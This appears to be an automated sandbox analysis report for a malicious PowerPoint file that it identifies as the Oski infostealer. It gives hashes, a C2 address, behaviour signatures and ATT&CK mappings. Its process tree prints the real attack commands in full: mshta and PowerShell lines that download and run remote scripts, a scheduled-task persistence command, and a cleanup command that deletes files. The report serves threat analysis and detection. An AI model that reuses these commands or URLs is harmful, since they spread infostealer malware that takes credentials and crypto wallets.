oski | 5bd1784bd0379cb65a32f1c71989082c6b9168c150e18ba21b351b2320f667da

General

Target

DSV INV 103823 14072021.ppt
Size

58KB
MD5

4c5105952fcc267dc7b8bf5a2220fb51
SHA1

9f43f9de80672d5d228d254394360ae362d9a673
SHA256

5bd1784bd0379cb65a32f1c71989082c6b9168c150e18ba21b351b2320f667da
SHA512

88f09a875c5e6164fec848a535b2601262e90f4c110ebf34acbdbc31bccc6684c1d2f98359347c325354197a252d02b644da4e20e7d68365a52cca736590a540

Score

10^/10

oski infostealer spyware

Malware Config

Extracted

Family

oski

C2

103.153.76.164/we/mark/

Signatures

Oski
Oski is an infostealer targeting browser data, crypto wallets.
infostealer oski

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

mshta.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE is not expected to spawn this process	3748	2840	mshta.exe	POWERPNT.EXE

Blocklisted process makes network request 15 IoCs

Processes:

mshta.exepowershell.exe

flow	pid	process
19	3748	mshta.exe
21	3748	mshta.exe
23	3748	mshta.exe
25	3748	mshta.exe
27	3748	mshta.exe
33	3748	mshta.exe
36	3748	mshta.exe
40	3748	mshta.exe
41	3748	mshta.exe
43	3748	mshta.exe
46	3748	mshta.exe
48	3748	mshta.exe
49	3748	mshta.exe
51	3748	mshta.exe
55	3016	powershell.exe

Downloads MZ/PE file
Loads dropped DLL 3 IoCs

Processes:

RegSvcs.exe

pid process

4228 RegSvcs.exe
4228 RegSvcs.exe
4228 RegSvcs.exe
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081
Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 3016 set thread context of 4228 3016 powershell.exe RegSvcs.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

4128 3748 WerFault.exe mshta.exe

pid	process
4228	RegSvcs.exe
4228	RegSvcs.exe
4228	RegSvcs.exe

description	pid	process	target process
PID 3016 set thread context of 4228	3016	powershell.exe	RegSvcs.exe

pid	pid_target	process	target process
4128	3748	WerFault.exe	mshta.exe

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

POWERPNT.EXEmshta.exeRegSvcs.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	POWERPNT.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	POWERPNT.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	mshta.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	mshta.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	RegSvcs.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	POWERPNT.EXE

Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exe

pid process

2096 schtasks.exe

pid	process
2096	schtasks.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

POWERPNT.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	POWERPNT.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	POWERPNT.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	POWERPNT.EXE

Kills process with taskkill 1 IoCs
evasion

Processes:

taskkill.exe

pid process

4364 taskkill.exe
Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

POWERPNT.EXE

pid process

2840 POWERPNT.EXE

pid	process
4364	taskkill.exe

pid	process
2840	POWERPNT.EXE

Suspicious behavior: EnumeratesProcesses 19 IoCs

Processes:

powershell.exeWerFault.exe

pid	process
3016	powershell.exe
3016	powershell.exe
3016	powershell.exe
4128	WerFault.exe
4128	WerFault.exe
4128	WerFault.exe
4128	WerFault.exe
4128	WerFault.exe
4128	WerFault.exe
4128	WerFault.exe
4128	WerFault.exe
4128	WerFault.exe
4128	WerFault.exe
4128	WerFault.exe
4128	WerFault.exe
4128	WerFault.exe
4128	WerFault.exe
4128	WerFault.exe
4128	WerFault.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

powershell.exeWerFault.exetaskkill.exe

description pid process

Token: SeDebugPrivilege 3016 powershell.exe
Token: SeDebugPrivilege 4128 WerFault.exe
Token: SeDebugPrivilege 4364 taskkill.exe
Suspicious use of FindShellTrayWindow 1 IoCs

Processes:

POWERPNT.EXE

pid process

2840 POWERPNT.EXE
Suspicious use of SetWindowsHookEx 4 IoCs

Processes:

POWERPNT.EXEmshta.exe

pid process

2840 POWERPNT.EXE
2840 POWERPNT.EXE
2840 POWERPNT.EXE
3748 mshta.exe

description	pid	process
Token: SeDebugPrivilege	3016	powershell.exe
Token: SeDebugPrivilege	4128	WerFault.exe
Token: SeDebugPrivilege	4364	taskkill.exe

pid	process
2840	POWERPNT.EXE

pid	process
2840	POWERPNT.EXE
2840	POWERPNT.EXE
2840	POWERPNT.EXE
3748	mshta.exe

Suspicious use of WriteProcessMemory 21 IoCs

Processes:

POWERPNT.EXEmshta.exepowershell.exeRegSvcs.execmd.exe

description	pid	process	target process
PID 2840 wrote to memory of 3748	2840	POWERPNT.EXE	mshta.exe
PID 2840 wrote to memory of 3748	2840	POWERPNT.EXE	mshta.exe
PID 3748 wrote to memory of 3016	3748	mshta.exe	powershell.exe
PID 3748 wrote to memory of 3016	3748	mshta.exe	powershell.exe
PID 3748 wrote to memory of 2096	3748	mshta.exe	schtasks.exe
PID 3748 wrote to memory of 2096	3748	mshta.exe	schtasks.exe
PID 3016 wrote to memory of 4228	3016	powershell.exe	RegSvcs.exe
PID 3016 wrote to memory of 4228	3016	powershell.exe	RegSvcs.exe
PID 3016 wrote to memory of 4228	3016	powershell.exe	RegSvcs.exe
PID 3016 wrote to memory of 4228	3016	powershell.exe	RegSvcs.exe
PID 3016 wrote to memory of 4228	3016	powershell.exe	RegSvcs.exe
PID 3016 wrote to memory of 4228	3016	powershell.exe	RegSvcs.exe
PID 3016 wrote to memory of 4228	3016	powershell.exe	RegSvcs.exe
PID 3016 wrote to memory of 4228	3016	powershell.exe	RegSvcs.exe
PID 3016 wrote to memory of 4228	3016	powershell.exe	RegSvcs.exe
PID 4228 wrote to memory of 4320	4228	RegSvcs.exe	cmd.exe
PID 4228 wrote to memory of 4320	4228	RegSvcs.exe	cmd.exe
PID 4228 wrote to memory of 4320	4228	RegSvcs.exe	cmd.exe
PID 4320 wrote to memory of 4364	4320	cmd.exe	taskkill.exe
PID 4320 wrote to memory of 4364	4320	cmd.exe	taskkill.exe
PID 4320 wrote to memory of 4364	4320	cmd.exe	taskkill.exe

C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE
"C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE" "C:\Users\Admin\AppData\Local\Temp\DSV INV 103823 14072021.ppt" /ou ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2840

C:\Windows\SYSTEM32\mshta.exe
mshta https://bitly.com/dhjkaydajkwyquibxcasad
2⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Checks processor information in registry
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3748

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 ;i'E'x(iwr('https://ia801508.us.archive.org/9/items/qw_20210713/mark.txt') -useB)
3⤵
- Blocklisted process makes network request
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3016

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
4⤵
- Loads dropped DLL
- Checks processor information in registry
- Suspicious use of WriteProcessMemory
PID:4228

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c taskkill /pid 4228 & erase C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe & RD /S /Q C:\\ProgramData\\204518476636547\\* & exit
5⤵
- Suspicious use of WriteProcessMemory
PID:4320

C:\Windows\SysWOW64\taskkill.exe
taskkill /pid 4228
6⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4364

C:\Windows\System32\schtasks.exe
"C:\Windows\System32\schtasks.exe" /create /sc MINUTE /mo 80 /tn ""WIND0WSUPLATE"" /F /tr ""\""MsHtA""\""https://randikhanaekminar.blogspot.com/p/mark.html"
3⤵
- Creates scheduled task(s)
PID:2096

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -u -p 3748 -s 3016
3⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4128

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

1

T1053

Persistence

Scheduled Task

1

T1053

Privilege Escalation

Scheduled Task

1

T1053

Defense Evasion

Credential Access

Credentials in Files

1

T1081

Discovery

System Information Discovery

3

T1082

Query Registry

2

T1012

Lateral Movement

Collection

Data from Local System

1

T1005

Exfiltration

Command and Control

Impact

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Downloads

\ProgramData\mozglue.dll
MD5
8f73c08a9660691143661bf7332c3c27

SHA1
37fa65dd737c50fda710fdbde89e51374d0c204a

SHA256
3fe6b1c54b8cf28f571e0c5d6636b4069a8ab00b4f11dd842cfec00691d0c9cd

SHA512
0042ecf9b3571bb5eba2de893e8b2371df18f7c5a589f52ee66e4bfbaa15a5b8b7cc6a155792aaa8988528c27196896d5e82e1751c998bacea0d92395f66ad89

Download Submit
\ProgramData\nss3.dll
MD5
bfac4e3c5908856ba17d41edcd455a51

SHA1
8eec7e888767aa9e4cca8ff246eb2aacb9170428

SHA256
e2935b5b28550d47dc971f456d6961f20d1633b4892998750140e0eaa9ae9d78

SHA512
2565bab776c4d732ffb1f9b415992a4c65b81bcd644a9a1df1333a269e322925fc1df4f76913463296efd7c88ef194c3056de2f1ca1357d7b5fe5ff0da877a66

Download Submit
\ProgramData\sqlite3.dll
MD5
e477a96c8f2b18d6b5c27bde49c990bf

SHA1
e980c9bf41330d1e5bd04556db4646a0210f7409

SHA256
16574f51785b0e2fc29c2c61477eb47bb39f714829999511dc8952b43ab17660

SHA512
335a86268e7c0e568b1c30981ec644e6cd332e66f96d2551b58a82515316693c1859d87b4f4b7310cf1ac386cee671580fdd999c3bcb23acf2c2282c01c8798c

Download Submit
memory/2096-284-0x0000000000000000-mapping.dmp

Download
memory/2840-123-0x00007FFFD7C90000-0x00007FFFD9B85000-memory.dmp

Filesize
31.0MB

Download
memory/2840-118-0x00007FFFE0770000-0x00007FFFE234D000-memory.dmp

Filesize
27.9MB

Download
memory/2840-122-0x00007FFFDCD30000-0x00007FFFDDE1E000-memory.dmp

Filesize
16.9MB

Download
memory/2840-114-0x00007FFFBE230000-0x00007FFFBE240000-memory.dmp

Filesize
64KB

Download
memory/2840-115-0x00007FFFBE230000-0x00007FFFBE240000-memory.dmp

Filesize
64KB

Download
memory/2840-279-0x00007FFFBE230000-0x00007FFFBE240000-memory.dmp

Filesize
64KB

Download
memory/2840-280-0x00007FFFBE230000-0x00007FFFBE240000-memory.dmp

Filesize
64KB

Download
memory/2840-281-0x00007FFFBE230000-0x00007FFFBE240000-memory.dmp

Filesize
64KB

Download
memory/2840-282-0x00007FFFBE230000-0x00007FFFBE240000-memory.dmp

Filesize
64KB

Download
memory/2840-116-0x00007FFFBE230000-0x00007FFFBE240000-memory.dmp

Filesize
64KB

Download
memory/2840-119-0x00007FFFBE230000-0x00007FFFBE240000-memory.dmp

Filesize
64KB

Download
memory/2840-117-0x00007FFFBE230000-0x00007FFFBE240000-memory.dmp

Filesize
64KB

Download
memory/3016-296-0x0000018E357C0000-0x0000018E357C2000-memory.dmp

Filesize
8KB

Download
memory/3016-293-0x0000018E36240000-0x0000018E36241000-memory.dmp

Filesize
4KB

Download
memory/3016-297-0x0000018E357C3000-0x0000018E357C5000-memory.dmp

Filesize
8KB

Download
memory/3016-301-0x0000018E357C6000-0x0000018E357C8000-memory.dmp

Filesize
8KB

Download
memory/3016-303-0x0000018E361D0000-0x0000018E361D3000-memory.dmp

Filesize
12KB

Download
memory/3016-290-0x0000018E36090000-0x0000018E36091000-memory.dmp

Filesize
4KB

Download
memory/3016-283-0x0000000000000000-mapping.dmp

Download
memory/3748-247-0x0000000000000000-mapping.dmp

Download
memory/4228-304-0x0000000000400000-0x0000000000438000-memory.dmp

Filesize
224KB

Download
memory/4228-305-0x000000000040717B-mapping.dmp

Download
memory/4228-309-0x0000000000400000-0x0000000000438000-memory.dmp

Filesize
224KB

Download
memory/4320-313-0x0000000000000000-mapping.dmp

Download
memory/4364-314-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads